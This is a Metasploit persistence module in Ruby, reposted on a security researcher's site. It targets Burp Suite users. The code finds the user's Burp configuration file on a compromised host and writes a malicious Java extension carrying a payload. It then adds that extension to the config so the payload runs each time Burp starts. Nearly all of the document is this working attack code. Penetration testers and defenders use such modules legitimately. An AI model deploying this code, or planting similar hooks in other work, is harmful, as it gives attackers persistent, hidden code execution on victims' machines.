Burp Extension Persistence
Burp Extension Persistence
Burp Extension Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: Burp Extension Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
require 'open3'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Windows::Registry
include Msf::Exploit::Local::Persistence

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Burp Extension Persistence',
'Description' => %q{
This module adds a java based malicious extension to the Burp Suite configuration file.
When burp is opened, the extension will be loaded and the payload will be executed.

Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04.
Tested against Burp Suite Community Edition v2025.12.3 on Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die' # Module
],
'DisclosureDate' => '2025-01-01',
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => false,
'References' => [
[ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ],
[ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ]
],
'DefaultOptions' => {
'PrependMigrate' => true
},
'Targets' => [
[
'Java', {
'Platform' => 'java', 'Arch' => [ARCH_JAVA]
}
],
['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ],
[
'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, {
'Payload' =>
{ 'Space' => 8_191 - 'cmd.exe /c '.length }
}
],
],
'Actions' => [
['precompiled', { 'Description' => 'Use pre-compiled bytecode' }],
['build', { 'Description' => 'Build the extension locally with Gradle' }]
],
'DefaultAction' => 'precompiled',
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
},
'DefaultTarget' => 0
)
)

register_options([
OptString.new('NAME', [ false, 'Name of the extension', '' ]),
OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]),
OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ])
])
register_advanced_options([
OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]),
])
end

def extension_name_generator
return datastore['NAME'] unless datastore['NAME'].blank?

rand_text_alphanumeric(4..10)
end

def window_target?
['windows', 'win'].include? session.platform
end

def get_home
return cmd_exec('cmd /c echo %USERPROFILE%').strip if window_target?

return cmd_exec('echo ~').strip
end

def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')

d
end

def get_userconfig_path
unless datastore['CONFIG_FILE'].blank?
return nil unless file?(datastore['CONFIG_FILE'])

return datastore['CONFIG_FILE']
end

home_path = get_home
vprint_status("Home path detected as: #{home_path}")

path = (window_target?) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/'
if file?(path + 'UserConfigPro.json')
@pro = true
return path + 'UserConfigPro.json'
end
return path + 'UserConfigCommunity.json' if file?(path + 'UserConfigCommunity.json')
end

def get_burp_executable
if !datastore['BURP_JAR'].blank?
return nil unless file?(datastore['BURP_JAR'])

return datastore['BURP_JAR']
end

home_path = get_home

if @pro
burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar'
return burp_exec_path if file?(burp_exec_path)
end
burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar'
return burp_exec_path if file?(burp_exec_path)
end

def modify_user_config(extension_location, extension_name)
user_config = read_file(@userconfig_path)

path = store_loot('burp.config.json', 'application/json', session, user_config, nil, nil)
print_good("Config file saved in: #{path}")
user_config_json = JSON.parse(user_config)
extensions_config = user_config_json.dig('user_options', 'extender', 'extensions')

fail_with Failure::PayloadFailed, 'Failed to get extension configuration' unless extensions_config

malicious_extension = {
'errors' => 'ui',
'extension_file' => extension_location,
'extension_type' => 'java',
'loaded' => true,
'name' => extension_name,
'output' => 'ui',
'use_ai' => false
}
extensions_config.unshift(malicious_extension)
user_config_json['user_options']['extender']['extensions'] = extensions_config

fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json))
@clean_up_rc << "upload #{path} #{@userconfig_path}\n"
end

def check
if action.name == 'build'
if File.exist?(datastore['GRADLE'])
vprint_good('Gradle found')
else
print_warning('Gradle is required on the local computer running metasploit, please install it or use precompiled action')
end
end

@userconfig_path = get_userconfig_path
CheckCode::Safe("Config file not found: #{datastore['config']}") if @userconfig_path.nil?
CheckCode::Detected("Found UserConfig file #{@userconfig_path}")
end

def add_extension(settings_file, extension_location, extension_name)
# open file
config_contents = read_file(settings_file)
# store as loot for backup purposes
path = store_loot('burp.config.json', 'application/json', session, config_contents, nil, nil)
print_good("Config file saved in: #{path}")
# read json
begin
config_contents = JSON.parse(config_contents)
rescue JSON::ParserError
fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}")
end
malicious_extension = {
'errors' => 'ui',
'extension_file' => extension_location,
'extension_type' => 'java',
'loaded' => true,
'name' => extension_name,
'output' => 'ui'
}
begin
config_contents['user_options']['extender']['extensions'] << malicious_extension
rescue NoMethodError
fail_with(Failure::NotFound, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.")
end
# write json
write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 }))
end

def run_local_gradle_build(extension_name)
# Check if gradle is installed
fail_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE'])

# Define source and destination directories
src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension')
temp_dir = Dir.mktmpdir

# Copy necessary files to the temporary directory
FileUtils.cp_r(File.join(src_dir, 'src'), temp_dir)
FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir)
FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir)

# Modify name.txt with the new extension name
java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt')
File.open(java_file, 'wb') { |file| file.puts extension_name }

if target.name == 'Java'
# delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed
File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt'))
java_file = File.join(temp_dir, 'src', 'main', 'resources', 'burp_extension_pload.jar')
payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload')
File.open(java_file, 'wb') { |file| file.puts payload_jar.pack }
else
# Modify command.txt where we put our payload command
java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')
File.open(java_file, 'wb') { |file| file.puts payload.encoded }
end

# Run gradle clean build
vprint_status("Building Burp extension jar file locally in #{temp_dir}")
Dir.chdir(temp_dir) do
IO.popen([datastore['GRADLE'], 'clean', 'build']) do |stdout|
stdout.each_line { |line| vprint_line line }
end
end

# Check if the jar file was created
jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar')
fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file)
print_good("Successfully built the jar file #{jar_file}")

File.read(jar_file)
end

def compiled_extension(extension_name)
# see data/exploits/burp_extension/notes.txt on how to get this content
burp_extension_class = File.read(File.join(
Msf::Config.data_directory, 'exploits', 'burp_extension', 'precompiled.class'
))

jar = Rex::Zip::Jar.new
# build our manifest manually because its only one line and we don't need the extra
# ones that metasploit's build_manifest adds. This more closely implements the gradle build command
jar.add_file('META-INF/', '')
jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n")
jar.add_file('burp/', '')
jar.add_file('burp/BurpExtender.class', burp_extension_class)
if target.name == 'Java'
jar.add_file('burp_extension_pload.jar', generate_payload.encoded_jar(main_class: 'burp_extension_pload').pack)
else
jar.add_file('command.txt', payload.encoded)
end
jar.add_file('name.txt', extension_name)

jar
end

def install_persistence
fail_with(Failure::BadConfig, 'WritableDir can not be blank') if writable_dir.empty?

# RuntimeError `writable?' method does not support Windows systems
if !window_target? && !writable?(writable_dir)
fail_with(Failure::NotFound, "Unable to write to WritableDir: #{writable_dir}")
end
# get UserConfig file path
unless @userconfig_path
get_userconfig_path
end

if @userconfig_path.nil?
fail_with(Failure::NotFound, 'User does not have a UserConfig file, likely Burp was installed but never run')
end
vprint_status("Burp UserConfig file: #{@userconfig_path}")

# get Burp executable
burp_path = get_burp_executable

fail_with Failure::NotFound, 'Burp JAR file was not found' unless burp_path

vprint_status("Burp JAR file: #{burp_path}")

# create extension
print_status('Creating extension')
extension_name = extension_name_generator
print_status("Using extension name: #{extension_name}")
if window_target?
extension_location = "#{writable_dir}\\#{extension_name}.jar"
else
extension_location = "#{writable_dir}/#{extension_name}.jar"
end
vprint_status('Creating JAR file')

case action.name
when 'build'
jar = run_local_gradle_build(extension_name)
when 'precompiled'
jar = compiled_extension(extension_name)
end

# store extension on target's machine
vprint_status("Writing malicious extension to disk: #{extension_location}")

fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar)
@clean_up_rc << "rm #{extension_location}\n"
# overwrite configuration
vprint_status('Modifying Burp configuration and adding malicious extension')
modify_user_config(extension_location, extension_name)
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.